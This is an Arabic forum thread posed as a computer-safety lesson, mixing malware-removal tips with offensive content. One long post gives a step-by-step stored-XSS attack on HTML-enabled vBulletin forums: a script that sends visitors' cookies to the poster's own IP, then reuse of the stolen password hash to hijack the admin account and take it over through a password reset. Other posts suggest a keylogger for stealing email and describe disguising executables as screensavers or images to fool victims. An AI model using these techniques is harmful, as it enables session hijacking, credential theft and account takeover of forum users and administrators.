موصاحي.... يقدم درس في سبل السلامة

[موصاحي]

تسلم حبيب الشعب ناصر الناقووول

الله لا يهينك يا السبيعى الغازى ما عليك زود

الصيدلى هذا ماهو اختصاصى وسرقة الايميل ما يعتبر هكر :D

ولكن تقدر تستخدم برنامج keylogger وهو افضل من البرنامج اللى انت حاطه

فى منتدى سحر البيان وهذا رابطه يا تركى
من هنا تحميله بس دير بالك لا تحوش خشمى :D


ابوعمر

الهريظمي حياك الله ..... exe معناته ملف تنفيذى يعنى ما يحتاج لتشغيله الى ملف وثانى او اى ملف اخر

فعلى سبيل المثال بطاقة الفلاش ما تشتغل الا اذا كان عندك فى جهازك مشغل الفلاش ولكن

عندما تحول البطاقه الى ملف تنفيذى ينتهى ب exe فانه على طول يشتغل وما يحتاج الى مشغل فلاش

وكذلك مثلا اذا اردت ان تشغل اغنيه ولا يوجد عندك الريل بلير فانه لا يشتغل لانه مرتبط بملف اخر

بخلاف امتداد exe فانه يشتغل على طووول

غالبية البرامج المصممه تكون نهايتها exe وكما ذكرت سابقا لا تقوم بتحميل اى برنامج من المنتديات او

المواقع .. وانما قم بتحميلها من المواقع اللتى ذكرتها فى الاعلى ..فهى مصدر ثقه ومواقع معروفه

وعلى مستوى عالى من الشهره والامانه...

وليس كل ما ينتهى ب exe يعنى باتش او فايروس ولكن مثل ما ذكرت هى برامج لا تحتاج الى برامج اخرى

لتشغيلها وتسمى برامج تنفيذيه ..

وقد تم تصميم برامج لتحويل امتداد exe الى امتداد اخر مثل scr وهذا الامتداد هو يعنى screen server

ويقصد به شاشه لسطح المكتب

وكذلك يحول الى exe الى com و dll و bat و pif و scr كما ذكرنا .. لخداع الضحيه

والى الان لم تصمم البرامج اللتى تحول exe الى swf او jpg يعنى امتداد صوره او فلاش

ولكن تم تصميم برامج تغير الشكل ( الايكون ) للباتش وهى خدعه للضحيه على شكل صوره او ملف فلاش

ولكن امتداده يبقى كما هو exe


هذا والله اعلم

[الصيدلي]

الووووو ابوفيصل :D انا ما ابي برنامج ابيك تجيب الاميل هذا :D عموما هذا الاميل حق سعودي هكر الي وقف موقع الياهو <<<< بغا يوهقك مع انتبه من الاتصالات وانا اخوك المجهولين ...

طيب عندي سوال : ياليت تشرح لنا كيف يخترقون المنتديات عن طرق الثغرات .... ابلش :D ..

مشكور ابو عمر علي الاستضافه الحلوة ..

الصيدلي

[موصاحي]

:D الحمدلله انى ما تعرضت له يا تركى

المهم هذا احد اساليب اختراق الموقع وبالشرح

تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز
بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ HTML ..

قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ HTML ) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
<script>document.write('<img
src="http://my_ip_address/'+document.cookie+'">';</script>

مع ملاحظة تغير الـ IP Adress الى رقم الـ IP الخاص بك .

وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل IIS او Apache او غيرها ) .

وبعد ان تتم العملية بنجاح قم بفتح ملف الـ Log الخاص بالسيرفر الذي يحتويه جهازك ..
مثال لو كان السيرفر اباتشي .. فتاح المجلد Apche واختر logs واختر Acces Log .
ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

ابحث عن الكود الخاص بالباسورد .. مثال :

GET/ bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fb





ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f8;%20bbthreadview[54





20]=1012444064;%20bblastvi
sit=1011983161

فكر قليلا الان .. اين الباسورد ؟؟
الباسورد موجودة لكن بطريقة مشفرة يصعب **رها .. اذن مالحل ؟
قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى مثل ابوعمر (الذي سرقت منه الكوكيز) ..
لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
وثم قم بتسجيل الخروج .. ثم اذهب الى اداة Forgot Password .. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

اعتقد انك ما راح تعرف شنو تسوى بعد ذلك يا الصيدلى !! ادخل الى لوحة التحكم وافعل ما تشاء .. !

------------
الحل
-----------

للحماية من هذه الثغرة قم باغلاق الـ HTML في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
(واي منفذ يمكن من خلاله وضع كود HTML باي صورة كانت )

كما يجب اغلاق كود الـ IMG .. لانه ببساطة بامكانك استخدامه بدل كلمة <script> فاذا وضعت <img> او <Demon> او
اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ .

وانشالله يكون كل شىء واضح يا الصيدلى

عموما هذا الموضوع قد تم ارساله لى من قبل اخونا العويد على ايميلى قبل ثلاثة شهور

ووعدته بالسريه ولكن اعتقد ان الفتره قد انتهت يا العويد :D

وانا متاكد يا الصيدلى ان سؤالك كان تعجيزى ولكن لله الحمد تجاوزناه

ادرس كويس يا الصيدلى وهذه المعلومات جدا خطيره :D

هذا والله اعلم

[الهريظمي]

ما شاء الله تبارك الله عليك

موصاحي أنت وينك عني من زمان عزالله أنك منت صاحي هههههههههههههههههههههههه تعال وسير علي وشربلك فنجال قهوه وعلمني وتراني حالف أنك أتعشاء عندي قل تم :D تم
ومشكووووور على الدرس

اخوك الهريظمي

[خالد الشماسي]

مقدم البرنامج : الصيدلي ليش تخرب البرنامج المفروض عن طريق الإستديو مو تسأل الخبير موصاحي على طول آخر مره :)
مقدم البرنامج : موصاحي خوفتني الله يستر من الهكريه على كل نأخذ الإتصال الرابع :

الراعي : السلام عليكم ورحمة الله يا مرحبا يالصاحي نبيك تعلمنا إن الله قدر واستقبلت ملف مشبوه كيف أحذفه وأتأكد ان جهازي خالي من الباتش والفيروسات والملفات النائمة والله يطول عمرك وجعلك ذخر .

موصاحي تفضل :


(أي واحد عنده سؤال يرسله على الخاص . تحياتي)

الصيدلي جايك دورك في الإستديو حضر نفسك .

[ابن شطيط]

مشكور مو صاحي

وحياك الله
ويعطيكم العافيه:D

[موصاحي]

:D الهريظمى ما شفت شىء والخافى كان اعظم :D

ابوعمر ترانى فى وجههك من الصيدلى

ابن شطيط :D الله يعافيك ويسلم غاليك

وعليكم السلام اخى الراعى بالنسبه لسؤالك فقد جاوب عليه اخونا ابن شطيط وما قصر

وهذى نسخه من مشاركته حبيت انى انسخها لكم

.................................................. .....................................
من موضوع ابن شطيط

ثم نبدأ بالتعرف على أفضل طرق كشف وحذف
ملفات التجسس :
_________________
الطريقة الأولى :
1- أنقر على أبدأ
2- أكتب في خانة التشغيل run الأمر : system.ini ثم أضغط OK
سوف تفتح المفكرة .. إذا كان جهازك سليم سوف تجد بالسطر الثالث هذه العبارة shell=Explorer.exe
وإذا وجدت أي زيادة بهذه الجملة مثلاً : نجوم **، أو علامات إستفهام ؟؟ ،
أو xxx قم بمسح أي زيادة على تلك الجملة ثم أضغط موافق.
___________________________
الطريقة الثانية :
1- أنقر على ابدأ
2- اكتب في خانة التشغيل Run الأمر Win.ini
3- موافق
سوف تفتح لك المفكرة الأخرى : لاحظ السطر الخامس والسادس
إذا وجدت في أحد هذان السطران أي نجوم ***
أو علامات استفهام ؟؟؟
أو xxx قم بمسحها أي ( مسح النجوم وعلامات الاستفهام
والأكس ) ثم أضغط موافق .
____________________

الطريقة الثالثة : من الدوس :

من الدوس اكتب dir patch ثم أضغط ENTER
إذا كان جهازك سليم سوف تكون
النتيجة بهذا الشكل volume in drive c has no label
Volume serial number is
Directory of c: \ windows
File ليس found إذا وجدت الباتش احذفه بالطريقة التالية :
C:\ Windows\ delete patch
_________________________

الطريقة الرابعة : من ملف تسجيل النظام Registry
1- أنقر على ابدأ
2- أكتب في خانة التشغيل run الأمر التالي Regedit ثم Ok
ثم افتح المجلدات التالية حسب الترتيب التالي :
1- HKEY_LOCAL_MACHINE
2- SOFTWARE
3- MICROSOFT
4- WINDOWS
5- CURRENT VERSION
6- RUN إذا فتحت ملف RUN سوف تفتح لك نافذة تسجيل
النظام وسوف تجد في أعلاها من جهة الشمال أسماء الملفات
التي تعمل مع قائمة بدء التشغيل وفي أعلاها من جهة اليمين
عناوين الملفات هكذا :
names __________ data
إذا وجدت ملف لا يقابله عنوان في DATA أو ظهر أمامه
سهم صغير هكذا <--- فهو ملف تجسس
تخلص من بالضغط على زر الفارة الأيمن ثم DELETE
أبحث في كل ملفات Run
وإذا وجدت أي ملف باسم Patch أو باسم
Server.exe أو باسم Explo32 أكتب اسمه
كامل ثم قم بحذفه delete ....
ثم أعد تشغيل الجهاز
ثم اذهب إلى قائمة ابدأ ثم اختر بحث ثم ابحث
عن اسم ملف التجسس اللي أنت حذفته من
الريجستري .. اختر البحث في جهاز الكمبيوتر
إذا وجدته قم بحذفه بعد التأكد التام .
_____________________________
الطريقة الخامسة : من قائمة بدأ التشغيل :
1- أنقر على أبدأ
2- اكتب في خانة التشغيل RUN الأمر التالي : MSCONFIG
3- ثم أضغط موافق
4- أفتح بدأ التشغيل وسوف تظهر لك شاشة تعرض لك كل
البرامج التي تبدأ العمل مباشرة مع بدأ التشغيل
إذا وجدت أي برنامج غريب لم تقم انت بتنصيبه شيل علامة
الصح الموجودة في المربع المقابل لاسم الملف ثم أضغط موافق
ثم وافق على إعادة تشغيل الجهاز ينتهي مفعوله.
ملاحظة هامة :
أكثر هذه الطرق أنا جربتها بنفسي والقليل منها الذي
لم أجربه قد أجمع على صحته خبراء الحماية ( تقريباً )

.................................................. .................................................. .......

احسنت يا ابن شطيط :D وفررت على الشرح

ولكن حبيت اضيف نقطه بسيطه ان مبرمجى الجهاز او الكمبيوتر يحذرون من ان الباتش او الفايروس اذا دخل

فى الريجسترى فانه سوف يقوم بتخريب السيستم للنظام وبالتالى فسوف يكون هناك عدة مشاكل ومنها

اختلاف بعض مهام ملفات dll فى الريجسترى مما يسبب بط شديد فى الجهاز فلو جرب احدكم بتنزيل الباتش

فى الجهاز لعرف ماذا يقصد بذلك

كذلك عدم تحمل الريجسترى الملفات الزائده لانه من المعروف ان اجهزتنا ليست اصليه سواء جهاز موصاحى

والشركات لدينا تقوم بتجميع تلك الاجهزه وبيعها علينا بسعر غالى

ويقول بعض الخبراء ان الباتش لا يحذف ابداء من الريجسترى او السيستم وحتى اذا عملت الفورمات فربما هى

كشكل خارجى تحذف ويهيأ لك ان الجهاز قد تنظيفه ولكن فى الواقع خلاف ما نقول فالباتش هو داخل انظمة

الجهاز ولم يحذف بكامله....

والوقايه خير من قنطار علاج :D


انا اتبع هذى الطريق اذا اردت ان احف ملف باتش وبكل سهوله

افتح ستارت ومن ثم run ثم اكتب msconfig سوف تظهر لك قوائم اختر قائمة startup على اليمين فى الزاويه

اكبس عليها ثم شوف اى ملفات المشتبه فيها وامامها صح ... وليكن بمعلوم الجميع انه اذا كان امامه صح

فمعناه ان الملف شغال .. واذا اردت ان ايقافه فقط قم بحذف علامة الصح من امامه

واذا اردت ان تحذفه فاذهب الى الدوس واكتب del file name.exe

بين كلمة دل وبين اسم الفايل يجب ان يكون هناك مسافه وكذلك يجب ان تذكر امتداد الباتش يعنى ال exe

هذا والله اعلم

[خالد الشماسي]

مقدم البرنامج : أشكر الخبير العالمي في سبل السلامة السيد موصاحي على ماتفضل به من إجابات مفيدة لنا في عالم الكمبيوتر والنت .

ختاما نستودعك الله ونرجو من الله أينفع بك الإسلام والمسلمين ويكفينا منك هذا القدر الكبير حتى حين ولنا عودة معك في حلقات قادمة قد نبدأ خلالها في تجريب عملية الهكر او الكركر حتى نعلم بسبلهم ونحتمي منها .

ولعلك لا تبخل علينا بالمعلومات والمواضيع الجيده التي نحب ان نراها في هذا لقسم والأقسام الباقية .

[موصاحي]

ابشر وانا فى الخدمه طال عمرك

ومشكور كل من ساهم فى انجاح هذا المشروع الخيرى

[الشامل]

موصاحي الف الف الف شكر على هذه الدروس المفيده وننتظر المزيد

ماشاء الله عليك ياموصاحي كفيت ووفيت والله يستر عليك بس